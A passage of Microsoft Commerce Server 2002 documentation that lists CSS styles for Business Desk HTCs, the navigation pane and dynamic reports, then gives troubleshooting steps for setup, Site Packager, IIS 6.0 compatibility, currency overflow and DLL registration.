Defines style characteristics used when rendering a selected table row within a ListSheet HTC that contains a single-line text box (an HTML INPUT element of type "password" is used to display data in a password type column so that "*" characters are displayed instead of the password text).
TABLE.lsTableStyle
Defines style characteristics used when rendering the table within a ListSheet HTC.
TABLE.selected #objectTable TR .lsCell
Defines style characteristics used when rendering cells within a sub-object table under a selected row in a ListSheet HTC.
TABLE.selected #objectTable TR TH.lsNoSort
Defines style characteristics used when rendering table heading cells as non-sortable in a sub-object table under a selected row in a ListSheet HTC.
TABLE.selected TD.lsCell
Defines style characteristics used when rendering normal data cells within a selected table within a ListSheet HTC.
#objectTable TR TH.lsNoSort
Defines style characteristics used when rendering table heading cells as non-sortable within a detail row in a sub-object table within a ListSheet HTC.
.selected
Defines style characteristics used when rendering ListSheet HTC elements that are in selected rows.
.selected INPUT
Defines style characteristics used when rendering a selected single line text box in a ListSheet HTC (password columns are displayed using an INPUT element set to type "password" so the value is replaces with "*" characters).
.wait DIV
.wait SPAN
.wait TD
.wait TH
.wait BUTTON
.wait INPUT
Defines style characteristics used when rendering elements that are of the "wait" class, and DIV elements, spans, normal table cells, table heading cells, buttons, and single line text boxes that are children of such elements. This class is used to add a wait cursor to all elements of a ListSheet when it is loading.

ID Styles

.listSheet #btnSelectAll
Defines style characteristics used when rendering the Select All button in a ListSheet HTC.
.listSheet #btnUnselectAll
Defines style characteristics used when rendering the Deselect All button in a ListSheet HTC.

QueryBuilder HTC Styles

The following styles are associated with the QueryBuilder HTC, using the class attribute. Add the "/widgets/exprbldHTC/querybuilder.htc" behavior style to an element to create a QueryBuilder HTC instance.

Class Styles

.clsQueryBldr
Defines style characteristics used when rendering the QueryBuilder HTC as a whole.
.clsQueryBldr .clsDisabled
Defines style characteristics used when rendering child elements of the QueryBuilder HTC that have been classified as disabled.
.clsQueryBldr .clsDisabled A
Defines style characteristics used when rendering anchor elements within disabled child elements of the QueryBuilder HTC.
.clsQueryBldr .clsSelected
Defines style characteristics used when rendering child elements of the QueryBuilder HTC that have been classified as selected.
.clsQueryBldr .clsSelected TD
Defines style characteristics used when rendering normal table cells within child elements of the QueryBuilder HTC that have been classified as selected.
.clsQueryBldr TD
Defines style characteristics used when rendering normal table cells within the QueryBuilder HTC.
.clsQueryBldr TR
Defines style characteristics used when rendering table rows within the QueryBuilder HTC.

ID Styles

.clsQueryBldr #menuitem
Defines style characteristics used when rendering menu items in a dropdown list within the QueryBuilder HTC.
.clsQueryBldr #popupmenu
Defines style characteristics used when rendering a pop-up (sub) menu within the QueryBuilder HTC.
.clsQueryBldr #submenumark
Defines style characteristics used when rendering the arrow that indicates the presence of a submenu within the QueryBuilder HTC.

TreeView HTC Styles

The following styles are associated with the TreeView HTC, using the class attribute. Add the "treeview" class attribute value to an element to create a TreeView HTC instance.

Class Styles

.treeView
Associates an element with the DHTML behavior implemented in the file TreeView.htc.
.treeView DIV DIV
Defines style characteristics used when rendering a second-level DIV element within the TreeView HTC.
.treeView DIV.tvClosed DIV
Defines style characteristics used when rendering a second-level DIV element in a closed first-level DIV element in the TreeView HTC.
.treeView DIV.tvDisabled
Defines style characteristics used when rendering a disabled DIV element in the TreeView HTC.
.treeView DIV.tvGroupOver
Defines style characteristics used when rendering a highlighted DIV element that is not a leaf node in the TreeView HTC.
.treeView DIV.tvHide
Defines style characteristics used when hiding a DIV element in the TreeView HTC.
.treeView DIV.tvOver
Defines style characteristics used when rendering a highlighted DIV element that is a leaf node in the TreeView HTC.
.treeView DIV.tvSkip DIV
Defines style characteristics used when rendering a DIV element within a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV DIV
Defines style characteristics used when rendering a second-level DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV LABEL
Defines style characteristics used when rendering a label under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV SPAN
Defines style characteristics used when rendering a span within a DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV.tvClosed DIV
Defines style characteristics used when rendering a DIV element within a closed DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV.tvDisabled DIV
Defines style characteristics used when rendering a DIV element within a disabled DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip DIV.tvHide DIV
Defines style characteristics used when rendering a DIV element within a hidden DIV element under a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip LABEL
Defines style characteristics used when rendering a label within a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView DIV.tvSkip SPAN
Defines style characteristics used when rendering a span within a skipped DIV element in the TreeView HTC. Styles including the "tvSkip" class are used to format data elements within a skipped element.
.treeView LABEL
Defines style characteristics used when rendering a label within the TreeView HTC.
.treeView LABEL.tvSelected
Defines style characteristics used when rendering a selected label within the TreeView HTC.
.treeView SPAN
Defines style characteristics used when rendering a span within the TreeView HTC.


Navigation Pane Styles

The customizable style sheet file (CSS), navtree.css, indirectly defines the styles used within the navigation pane of Commerce Server Business Desk. It imports a file, navtree_css.asp, that contains a small amount of code that redirects to one of several other CSS files that define the actual styles used in the navigation pane. These latter files have names of the form "*_navtree.css". Two such files are included in Commerce Server 2002: default_navtree.css and hicont_navtree.css. The former defines the default navigation pane styles and the latter defines high contrast versions of the navigation panes styles that improve accessibility. New themes are created by creating additional files that conform to the naming scheme and that define the contained styles differently.

The navigation pane style definitions included both element styles and class styles. Element styles are those that apply to an element regardless of any class or id attribute settings on that element. Class styles are those that apply to one or more element types only if the class attribute has the particular value that is indicated. Often, the situations in which the styles apply are restricted according to some characteristic of a parent or grandparent element.

The remainder of this topic provides further detail about each of these style categories.

Element Styles

.bdcategory NOBR
Defines style characteristics used when rendering text without line breaks in the category level of the navigation pane.
BODY
Defines base style characteristics used when rendering the contents of the body element in the navigation pane.
.categoryhighlight NOBR
Defines style characteristics used when rendering text without line breaks in a highlighted category level entry in the navigation pane.
.categoryhighlight NOBR SPAN
Defines style characteristics used when rendering a span within text without line breaks in a highlighted category level entry in the navigation pane.
DIV.bdcs4 A
Defines style characteristics used when rendering the anchor element with the link to www.microsoft.com in the navigation pane.
DIV.bdmenu UL
Defines style characteristics used when rendering category-level unordered list elements within the navigation tree.
DIV.bdmenu UL DIV
Defines style characteristics used when rendering DIV elements within the first-level unordered list elements within the navigation tree.
DIV.bdmenu UL UL
Defines style characteristics used when rendering module-level unordered list elements within the navigation tree.
DIV.bdmenu UL UL DIV
Defines style characteristics used when rendering DIV elements within the module-level unordered list elements within the navigation tree.
.expanded NOBR
Defines style characteristics used when rendering text without line breaks within an expanded category in the navigation tree.
HTML
Defines base style characteristics used when rendering any HTML in the navigation pane.

Class Styles

.bdDebug
Defines style characteristics applied to debug text when debugging is enabled by setting the global variable SHOW_DEBUG_TEXT to True in the file Global.asa.
.bdmodule
Defines style characteristics used when rendering a module entry in the navigation pane.
.collapsed SPAN.bdcollapseicon
Defines style characteristics used when rendering the collapsed icon when a category is collapsed in the navigation pane.
.collapsed SPAN.bdexpandicon
Defines style characteristics used to suppress rendering of the expanded icon when a category is collapsed in the navigation pane.
.collapsed UL.bdmodulelist
Defines style characteristics used to suppress rendering of the corresponding modules when a category is collapsed in the navigation pane.
DIV.bdfooter
Defines style characteristics used when rendering the footer area in the navigation pane, which contains the link to Microsoft.com
DIV.bdlogo
Defines style characteristics used when rendering the logo area in the navigation pane, which contains the link to the About dialog box.
DIV.bdmenu
Defines style characteristics used when rendering the DIV element that contains the entire navigation tree in the navigation pane.
DIV.bdscrollwindow
Defines style characteristics used when rendering the scrollable window that contains the entire navigation tree.
.expanded
Defines style characteristics used when rendering an expanded category in the navigation pane.
.expanded SPAN.bdcollapseicon
Defines style characteristics used to suppress rendering of the collapsed icon when a category is expanded in the navigation pane.
.expanded SPAN.bdexpandicon
Defines style characteristics used when rendering the expanded icon when a category is expanded in the navigation pane.
.expanded UL.bdmodulelist
Defines style characteristics used when rendering the corresponding modules when a category is expanded in the navigation pane.
.modulehighlight
Defines style characteristics used when rendering a module that has been highlighted in the navigation pane.
.moduleselect
Defines style characteristics used when rendering a module that has been selected in the navigation pane.
.scrollbtn
Defines style characteristics used when rendering a scroll button at the top or bottom of the navigation pane.

ID Styles

#bdhome
Defines style characteristics used when rendering the home page link in the navigation pane.
#bdhome IMG
Defines style characteristics used when rendering the home page link image in the navigation pane.
#bdhome.moduleselect
Defines style characteristics used when rendering the home page link in the navigation pane when it is selected.


Dynamic Report Styles

This topic contains:

  • Dynamic Report Style Files. Provides information about the style sheet and ASP files that are used in the dynamic reports to define styles, themes, and alternative language input for HTCs.
  • Dynamic Report Style Reference. Provides information about the styles designed for controlling the look of the pivot table and graph for the dynamic reports, as defined in the files Styles10.css and Reports.css.


Dynamic Report Style Files

The following table describes the various files that are related to the definition and management of styles for Dynamic Reports.

File name | Description
analysis\Styles10.css | Included by the file analysis_dynamic_reporting10.asp to define the styles that are used when rendering a dynamic report.
FormatControls10.scp | Included by the file analysis_dynamic_reporting10.asp to read and apply styles defined in Styles10.css to the dynamic report.


Dynamic Report Style Reference

The customizable style sheet files (CSS) Styles10.css, indirectly defines the styles used when rendering the Dynamic Reports in the Reports category of the Analysis module in Business Desk. The FormatControls10.scp file is used to apply the styles to the pivot table and chart.

The style definitions include element styles, class styles, and ID styles. Element styles are those that apply to an element regardless of any class or id attribute settings on that element. Class styles are those that apply to one or more element types only if the class attribute has the particular value that is indicated. Often, the situations in which the styles apply are restricted according to some characteristic of a parent or grandparent element.

The remainder of this topic provides further detail about each of these style categories.

Element Styles

The following figure uses the Ad Frequency report to show the element styles used in a dynamic report table.

Depicts a report table with callouts identifying which tags control which part of the table.

The following figure uses the Ad Frequency report to show the element styles used in a dynamic report graph.

Depicts a report graph with callouts identifying which tags contol which part of the graph.

The following is a list of the standard element styles used in the dynamic report style sheets: A, A:link, A:visited, ADDRESS, B, BODY, BUTTON, CITE, DIV, EM, H1, H2, H3, H4, H5, H6, I, INPUT, LABEL, OPTION, P, SELECT, SPAN, STRONG, TEXTAREA, TD, TH, VAR.

The following list contains information about custom elements used in the dynamic report style sheets.

ChartPlotArea

Background color of the plot area for the chart.

ChartSpace

Background color for the chart.

ChartSpaceDropZones

Font size and background color for the filter dimensions, row dimensions, column dimensions, and data drop zones in the chart.

ChartSpaceLegend

Font size and background color for the chart legend.

ChartSpaceTitle

Font size and background color for the chart title.

ColumnSubtotalsLevel1

Text and background color for the first level column subtotal fields in the pivot table.

ColumnSubtotalsLevel2

Text and background color for the second level column subtotal fields in the pivot table.

GrandTotals

Text and background color for the grand totals in the pivot table.

PivotAxis

Not used.

PivotColumnMembers

Text and background color for the column dimension fields on the pivot table.

PivotDataFields

Text and background color for the filter dimension and the measures on the pivot table.

PivotFields

Text and background color for the filter, row, and column dimension header fields on the pivot table.

PivotMembers

Text and background color for the pivot dimension members on the pivot table.

PivotRowMembers

Text and background color for the row dimension fields on the pivot table.

PivotTable

Background color for the pivot table.

PivotTitleBar

Text and background color for the pivot table title bar on the pivot table.

PivotTotals

Text and background color for the pivot totals on the pivot table.

Profit

Not used.

RowSubtotalsLevel1

Text and background color for the first level row subtotals on the pivot table.

RowSubtotalsLevel2

Text and background color for the second level row subtotals on the pivot table.

Sales

Not used.

Sales Average

Not used.

Store Cost

Not used.

Store Sales

Not used.

Store Sales Net

Not used.

Unit Sales

Not used.

Class Styles

.DATAHEADINGS

Defines style characteristics used when rendering the heading in the table in the body of the static report.

.DATATABLE

Defines style characteristics used when rendering the data in the table in the body of static reports.

.DATATABLE1

Defines style characteristics used when rendering the data in the table in the body of static reports. Used to provide the alternating row colors in the static OLAP reports.

.DATATABLE2

Defines style characteristics used when rendering the data in the table in the body of static reports. Used to provide the alternating row colors in the static OLAP reports.

.DESCRIPTION

Defines style characteristics used when rendering the report description, run by, and run date area of the header

.GRAPHICCEL

Defines style characteristics used when rendering the report logo image.

.STATIC1

Not used.

.TITLEMAIN

Defines style characteristics used when rendering the report name at the top of the report.

.USERINFO

Not used.

ID Styles

#btnNewReport

Defines style characteristics used when rendering the New Report button.

#btnReportHelp

Defines style characteristics used when rendering the Report Help button.

#btnSaveReport

Defines style characteristics used when rendering the Save Report button.

#btnPivotDisplay

Defines style characteristics used when rendering the Show/Hide Pivot button.

#btnChartDisplay

Defines style characteristics used when rendering the Show/Hide Chart button.

#btnDefinitionDisplay

Defines style characteristics used when rendering the Show/Hide Long Definition button.


Troubleshooting Commerce Server

This section addresses common problems you might encounter while using Microsoft Commerce Server 2002.

For technical support, Microsoft provides online newsgroups through its Web site. For more information about Commerce Server newsgroups go to: http://go.microsoft.com/fwlink/?LinkId=5816.

You should also review the Microsoft Commerce Server 2002 Readme. This document provides a list of known issues and late-breaking news for this version of Commerce Server, and is included on the Commerce Server 2002 Installation CD.

For information about troubleshooting Commerce Server Business Desk, see Troubleshooting Business Desk.

This section contains:

  • Troubleshooting Commerce Server Setup. Describes problems you may encounter while installing Commerce Server 2002, and offers possible solutions.
  • Troubleshooting Site Packager. Describes problems you might encounter while using Commerce Server Site Packager, and offers possible solutions.
  • Troubleshooting Your Applications. Describes problems you might encounter while developing and managing your applications and Business Desk, and offers possible solutions.
  • Troubleshooting Security. Describes problems you might encounter with security, and offers possible solutions.
  • Troubleshooting Commerce Server Resources. Describes problems you might encounter while using the Data Warehouse, the Predictor resource, the Profiles resource, and Direct Mailer, and offers possible solutions.
  • Troubleshooting Commerce Server Manager Taskpads. Describes a problem you might encounter with Commerce Server Manager taskpads when Commerce Server and the operating system languages are not in sync.
  • Event Messages. Provides a comprehensive list of known event messages. Includes the message ID, severity type, and comments for each event message.
  • Error Messages. Provides a list of common Commerce Server 2002 error messages, their explanation, and actions the user should take.
  • For Additional Troubleshooting Information. Lists additional troubleshooting resources available to system administrators.


Troubleshooting Commerce Server Setup

This section describes problems you might encounter while installing Commerce Server 2002.

This section contains:

  • Setup fails when installing on a root instance of SQL
  • Snap-in failed to initialize
  • Using IIS 6.0 with Solution Sites generates an error


Setup fails when installing on a root instance of SQL

If you try to install Commerce Server 2002 to a root install of SQL Server that has an instance using the same port number, setup may fail.

Solution

On the computer running SQL Server, open Server Network Utility. (Click Start, point to Programs, click Microsoft SQL Server, and then click Server Network Utility.) Select each instance and change the port number so that each instance has a unique number. Restart all instances of SQL Server.


"Snap-in failed to initialize"

You might receive the error message "Snap-in failed to initialize" when trying to open Commerce Server Manager with the following setup: completely installed Commerce Server 2002 on two nodes of a cluster, Direct Mail and Predictor are set up as clustered resources, and SQL Server is not on a cluster.

Solution

Using Terminal Services, reboot the machine you are trying to administer.


Using IIS 6.0 with Solution Sites generates an error

If you use Internet Information Services (IIS) version 6.0 (instead of IIS 5.0), users may receive the following error when they access some of the ASP pages on your site:

Error Type:
Active Server Pages, ASP 0131 (0x80004005)
The Include file '../include/helper.asp' cannot contain '..' to indicate the parent directory.
/svt/account/login.asp, line 10

ASP on IIS 6.0 does not allow two periods ('..' in the includes. Many of the ASP files in the Retail site use '..' as does the Supplier site.

Solution

Do not use IIS 6.0 with a site that was developed using the Retail, Supplier, or Blank Solution Sites.


Troubleshooting Site Packager

This section describes problems you might encounter while using Commerce Server Site Packager, and describes possible solutions.

This section contains:

  • "Run-time error –2147319779 (8002801d) Automation error, Library not registered"
  • "Login Failed for User" error appears when unpacking Data Warehouse
  • Cannot unpack a site to a Web server
  • "Specified path does not exist" error appears when unpacking a site
  • "Error invoking Import API…" error appears when unpacking a site
  • "Profile missing" error appears after unpacking a site
  • Databases do not appear after unpacking a site
  • Name Restrictions for IIS applications as created by Pup.exe.
  • Site name cannot include DBCS characters.
  • Unpacking process fails when using a renamed application
  • Unpacking Business Desk twice overwrites the second instance
  • Site Packager event log error messages


Run-time Error -2147319779 (8002801d) Automation error, Library not registered

Send feedback about this page Commerce Server 2002

Run-time Error –2147319779 (8002801d) Automation error, Library not registered

When you unpack the Retail Solution Site, you get the following error:

Run-time error –2147319779 (8002801d)
Automation error
Library not registered

Solution

This problem is external to Commerce Server. You must rebuild your computer because some of the primary DLLs are not registered.

The error is generated by VBScript.RegExp in VBScript.dll. VBScript.dll depends only on system DLLs and Msvcrt.dll.


Login Failed for User error appears when unpacking Data Warehouse

When you are unpacking the Data Warehouse in custom mode using Commerce Server Site Packager, the following error message appears: "Login Failed for User <user name>." When you click OK, the Data Warehouse Properties dialog box appears.

Solution

To continue unpacking

  • In the Data Warehouse Properties dialog box, in the Password box, delete the asterisks (**), type your password, and then click OK.

    If you do not want to set a password, leave the box blank.

Commerce Server Site Packager finishes unpacking the site.


Cannot unpack a site to a Web server

You install Commerce Server on Computer A, and install the Data Warehouse on Computer B, but you cannot unpack your site on Computer A.

Solution

This problem occurs if the database server does not share a security context with the Web server. To solve the problem, run the following command on the database server:

net use \\<Web_server_name> /u:<local_computer_name>\administrator *

Enter the SQL Server password when prompted.

Another item to check is the number of SQL connections allowed on the computer. When you install Microsoft SQL Server, by default the number of SQL Server connections is set to zero (0), indicating that you can have an unlimited number of connections. If you choose to change the number of connections, allocate four connections for each computer in the Commerce Server installation.

Note

  • It is recommended that you have at least 20 connections available to unpack a site.

To determine the number of SQL Server connections currently in use

To set SQL Server connections

To determine the number of SQL Server connections currently in use

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Query Analyzer.
  2. Type the following query in the open window:
    select * from master..sysprocesses where hostname <>''

    where '' is two single quotes.

  3. Click the Execute Query button on the toolbar.

Query Analyzer displays the number of SQL Server connections currently in use. The number of rows equals the number of SQL Server connections.

To set SQL Server connections

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. Right-click the SQL Server to which you are adding connections, click Properties, and then click the Connections tab.
  3. On the Connections tab, in the Maximum concurrent user connections (0 = unlimited) box, type the number of connections you need, and then click OK.


Specified path does not exist error appears when unpacking a site

When you attempt to unpack a site, you get the following error:

"The specified path does not exist. Check the path, and then try again."

This error can occur when you try to unpack a site into a folder that contains special characters. For example, Commerce Server Site Packager will not unpack to a folder named My commerce $$%.

Although you can install Commerce Server into a folder that contains special characters, you cannot unpack a site to such a folder.

Solution

Copy the package to a different directory, and then unpack it.


Error invoking Import API… appears when unpacking a site

When you are unpacking a site, you receive the following error:

Error invoking Import API on Commerce.CatalogPUP for Product Catalog 80040E14:Source:Microsoft OLE DB Provider for SQL ServerDescription:The Full-Text Service (Microsoft Search) is not available. The system administrator must start this service.

This error occurs if the Microsoft Search service is not running when Commerce Server Site Packager runs the script to create catalogs.

Solution

Start the Microsoft Search service. Then either delete the site and unpack it again, or delete and unpack the Catalog resource.

To start the Microsoft Search service

  1. Click Start, point to Programs, point to Administrative Tools, and then click Services.
  2. In the Services dialog box, select Microsoft Search.
  3. Right-click Microsoft Search, and then click Start.


Profile missing error appears after unpacking a site

This error message applies to the Supplier Solution Site. It occurs when the Profiles service cannot locate a user in the Active Directory directory service.

The user name might not be included in the following Active Directory containers: OU=MSCS_40_Root and OU=site_name.

Solution

The recommended solution depends on when the error message appears.

Log on to the Supplier site by using a name that was created using Microsoft Commerce Server 2002 run-time components.

If you receive this error just after unpacking the site

In this case, the error occurs because the site uses the Windows Integrated Authentication method by default, and the user attempts to use a login name not created using Commerce Server Business Desk or the Profiles service.

Use Business Desk to create a user account, and then log on to the server as the newly created user. You should then be able to access the Supplier site.

Another possible solution is to enable Basic Authentication in Internet Information Services (IIS) 5.0 with the Supplier site. Log on to the site. Make sure you use one of the following formats when typing the user name:

  • <domain_name>\<user_name>
  • <username>@<fully_qualified_domain_name>

If you receive this error (or a similar error) while using AuthFilter in the Windows Authentication mode

Determine whether the GetProfileByKey method on the Login page is functioning properly. If this method is producing an "Unauthorized Authentication mode" error message, then an anonymous user does not have permission to get or read the user profile. For more information, see GetProfileByKey.

In this case, make sure the user has a Windows user account that has permissions to get and read the user profile properties from Active Directory.

Another solution is to make sure that you can access the site without the AuthFilter Internet Server API (ISAPI) filter.

To access the site without AuthFilter

  1. Use Internet Services Manager to remove the filter.
  2. Set the security mode to Basic Authentication only on the Supplier site, and then reset IIS.
  3. Try accessing the site with the correct credentials.

If this does not work, make sure you created the user account with Business Desk, and make sure that is enabled.


Databases do not appear after unpacking a site

When you unpack a site on Computer A, and you create the databases for resources on Computer B, after you have finished unpacking the site, the new databases do not appear on Computer B.

Solution

Wait several minutes. Site Packager runs on Computer A, so if network congestion exists, there could be a delay before the resources are created. Also, you can run Commerce Server Site Packager again to make sure you have created the databases on Computer B, and not on Computer A.


Name restrictions for IIS applications as created by Pup.exe

There are name restrictions on Internet Information Services (IIS) applications if you use the custom path in Site Packager to unpack the site. You cannot use a name that matches the programmatic reference name of any known resources, or any other resources found in the package.

Solution

Below is the list of known resources that are blocked:

  • App Default Config
  • Transactions
  • Transaction Config
  • Campaigns
  • Product Catalog
  • Direct Mail
  • Predictor
  • Site Data Warehouse
  • Global Data Warehouse
  • BDSecurity
  • Biz Data Service
  • Site CS Authentication

In addition to these resources, which are hard-coded in the product, any other resources that are contained in the package the user is attempting to unpack will also be blocked, including some third-party names. Unfortunately there is no way to know ahead of time what these names are.


Site name cannot include DBCS characters in Data Warehouse Configurator

When you unpack a new site and provide a site name that contains a double-byte character set (DBCS) in Data Warehouse Configurator (DWC), you will get an error.

Solution

Do not use DBCS characters for a site name. Data Warehouse Configurator (DWC) is not supported.


Unpacking process fails when using a renamed application

If you unpack a solution site, rename it, repackage the renamed application, and then unpack the renamed application, the unpacking process fails.

Solution

Use the Custom Unpack option when you unpack the renamed application. In the Select IIS Computers, Web Sites and Paths dialog box, in the IIS Web site box, rename the Internet Information Server (IIS) virtual directory application. This creates an application with a different name.

Important

  • The virtual directory name of the application must be exactly the same in both Commerce Server Manager and IIS. For example, if you have a Retail application under the Default Web site in IIS, the virtual directory name in Commerce Server Manager must be /Retail.


Unpacking Business Desk twice overwrites the second instance

If you try to unpack a new Business Desk from the same package you originally used, the second instance of Business Desk attempts to overwrite the first. For example, if you want to add the RetailBizdesk from the retail package, or add the BlankBizdesk from the blank package, the second instance of Business Desk attempts to overwrite the first. However if you are unpacking the BlankBizdesk to a retail site, this problem does not occur.

Solution

Use the Custom Unpack option the second time you unpack the Business Desk from your original package. In the Select IIS Computers, Web Sites and Paths dialog box, in the IIS Web site box, rename the IIS virtual directory application. This creates an application with a different name.


Site Packager event log error messages

This section provides information about some of the error messages that might appear in the Commerce Server Site Packager event log (Pup.log) file when you use Site Packager.

  • Error finding directory for <Application> <Error Number>:<Error Description>

    Site Packager encountered an error when searching for the Internet Information Services (IIS) 5.0 metabase entries for an application, or for the physical path. This error occurs when the metabase is pointing to a directory that does not exist, or the metabase entry for the application has been deleted. This error occurs only during packaging.

  • Error finding IIS object for <Application name>:<Error Description>

    Site Packager encountered an error when accessing the Internet Information Services (IIS) settings for <Application name>. Either the metabase is corrupt, or the application points to a virtual directory that does not exist.

    Verify that the applications in the package point to a virtual directory that actually exists.

  • Error importing URL for <Application name> <Error Number>:<Error Description>

    Site Packager encountered an error when creating a virtual directory for the application, or when copying application files to a folder.

    Make sure you have administrative privileges to change Internet Information Services (IIS) settings.

  • Error exporting object data for <Resource name> to file <Filename> <Error Number>:<Error Description>

    Site Packager encountered an error when exporting the data for a resource or application. Either the data does not exist or some automation error has occurred. This error message occurs only during packaging.

  • Error importing object data for <Resource name> from file <Filename> <Error Number>:<Error Description>

    Site Packager encountered an error when importing the data for a resource or application. Either the data was corrupt or some automation error has occurred. This error message occurs only during unpacking.

  • Error creating ref resource <Reference resource> for <Global resource> <Error Number>:<Error Description>

    Site Packager encountered an error when creating a global resource pointer for the named global resource.

    After you identify the problem and fix it, run Site Packager again, using Custom mode to add the resource to an existing application.

See Also

About Site Packager


Troubleshooting Your Applications

This section describes problems you might encounter while developing and managing your applications and Commerce Server Business Desk.

This section contains:

  • Use the RecordSet Close() method after using the Recordset object
  • Copying data from a RecordSet object to a DataSet object
  • Windows .NET Server and ADODB.Connection.2.5 generate an error
  • Using IIS 6.0 disables processing of ASP pages
  • Use 64-bit currency to ensure availability
  • Orders totaling more than 10 million currency units fail
  • Some DLLs do not support self-registration
  • Creating a new Administration database
  • Temporary catalog XML files are not removed from the ProductCatalogs directory

For information about debugging your applications, see the following topics:

  • Debugging Business Desk
  • Content Selection Framework Concepts


Use the RecordSet Close() method after using the Recordset object

A common way of accessing SQL Server databases from ASP pages is by using an ActiveX Directory Object (ADO) RecordSet object. When you have finished using the RecordSet object, you may encounter unexpected errors and decreased performance if you do not explicitly close the object.

Solution

For maximum performance and to avoid unexpected errors, call the Close() method when you no longer need to use the RecordSet object.


Copying data from a RecordSet object to a DataSet object

You may need to copy the data in a RecordSet object returned by a Commerce Server function into an ADO.Net DataSet object. This is useful for data-binding the DataSet object, for converting it into XML, and so on.

Solution

The following Microsoft Visual C# example illustrates this copy functionality.

// get a Recordset
CatalogManager cm;
_Recordset rs = cm.Catalogs;

// copy Recordset data into DataSet
DataSet ds = new DataSet();
OleDbDataAdapter myLoader = new OleDbDataAdapter();
myLoader.Fill(ds, rs, "Catalogs");


Windows .NET Server and ADODB.Connection.2.5 generate an error

When you use Windows .NET Server, avoid using the following code with a Solution Site:

Server.CreateObject("ADODB.Connection.2.5")

If you use this code, the site displays the following error code:

Server object, ASP 0177 (0x800401F3) Invalid ProgID

Solution

Windows .NET Server runs ActiveX Data Objects (ADO) version 2.7; ADO version 2.7 will not make a connection specified for ADO version 2.5. To avoid this incompatibility, change the code to the following:

Server.CreateObject("ADODB.Connection")


Using IIS 6.0 disables processing of ASP pages

If you are using Internet Information Services (IIS) version 6.0, by default the processing of ASP pages is disabled. This issue is resolved when you launch the IIS Lockdown tool, enable ASP pages, and restart IIS.

You can use the IIS Lockdown tool to resolve this issue, and it is also important to use it to remove all the unneeded links from Internet Services Manager (for example, scripts, images, iisHelp, iisadmin, and msadc).

Solution

  1. To download the IIS Lockdown tool, see http://go.microsoft.com/fwlink/?LinkId=5592.
  2. Restart IIS.


Use 64-bit currency to ensure availability

If a user creates a basket with items that total more than 10 million currency units, the basket becomes unusable. The user receives the message:

An overflow occurred when computing '_product_list_price'. Consult the documentation for information on extending the range.

All subsequent orders for that user will also fail.

Solution

Upgrade currency support in the Pipeline Editor from 32-bit to 64-bit.

To set 64-bit currency

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. Click Open on the toolbar, and then navigate to the location of your pipeline file. Double-click your pipeline file to open it.
  3. On the Edit menu, click Properties.
  4. In the Pipeline Properties dialog box, in the Currency Mode box, select Currency (high-precision), and then click OK.

    Note

    • To run a pipeline in the high-precision mode, the pipeline must not include any Microsoft Site Server 3.0 Commerce Edition pipeline components. For more information about Site Server 3.0 pipeline components, see Pipeline Component Reference.
  5. Restart your Web server(s).

See Also

Orders totaling more than 10 million currency units fail


Orders totaling more than 10 million currency units fail

If a user creates a basket with items that total more than 10 million currency units, the basket becomes unusable. The user receives the message:

An overflow occurred when computing '_product_list_price'. Consult the documentation for information on extending the range.

All subsequent orders for that user will also fail.

Solution

To enable support for orders larger than 10 million currency units, you must upgrade currency support in the Pipeline Editor from 32-bit to 64-bit.

To set 64-bit currency

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. Click Open on the toolbar, and then navigate to the location of your pipeline file. Double-click your pipeline file to open it.
  3. On the Edit menu, click Properties.
  4. In the Pipeline Properties dialog box, in the Currency Mode box, select Currency (high-precision), and then click OK.

    Note

    • To run a pipeline in the high-precision mode, the pipeline must not include any Microsoft Site Server 3.0 Commerce Edition pipeline components. For more information about Site Server 3.0 pipeline components, see Pipeline Component Reference.
  5. Restart your Web server(s).


Some DLLs do not support self-registration

Some dynamic-link library (DLL) files will fail if you try to self-register them using the Regsvr32.exe file. These DLL files are:

BizDataManager.dll
CalcRenderer.dll
CatalogSets.dll
CatalogVendorAssociation.dll
CSDWDTSCatalogImp.dll
CSDWDTSDelete.dll
CSDWDTSIpResolution.dll
CSDWDTSLogImports.dll
CSDWDTSPostImport.dll
CSDWDTSSyncAdmin.dll
CSDWDTSTransImport.dll
DictionaryXMLTransforms.dll
DWMBToAdmin.dll
DWSyncAdmin.dll
Dyntablemarshaler.dll
GenericPup.dll
MSCSCfg.dll
MSCSPredDWHelper.dll
GenericPup.dll
Regionaltax.dll
ReportRenderer.dll
Requisition.dll
CSDWDTSMarketingImport.dll
Shipmgr.dll
Splitter.ocx
UPMDtsHlpr.dll
UPMDTSTask.dll


Creating a new Administration database

You need to roll back to a previous Administration database or create a new one, but you cannot reinstall Commerce Server. Running Commerce Server setup in Repair Mode does not accomplish this either.

Solution

Create a new database named MSCS_Admin and then run the file Admin_schema.sql on it using SQL Query Analyzer. A new Administration database is created. Running the script populates the schema of the Administration database but no resources are created.

To create a new Administration database

  1. Delete or rename your existing Administration database, if necessary.
  2. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  3. In Enterprise Manager, expand Microsoft SQL Servers, expand SQL Server Group, and then expand the name of the server on which you want to create the new Administration database.
  4. Right-click Databases, and then click New Database.
  5. In the Database Properties dialog box, on the General tab, in the Name box, type MSCS_Admin.
  6. Click OK.

Your new database is created. The next step is to run the Admin_schema.sql file.

To run the Admin_schema.sql file

  1. In Enterprise Manager, click the MSCS_Admin database.
  2. On the Tools menu, click SQL Query Analyzer.
  3. On the File menu, click Open.
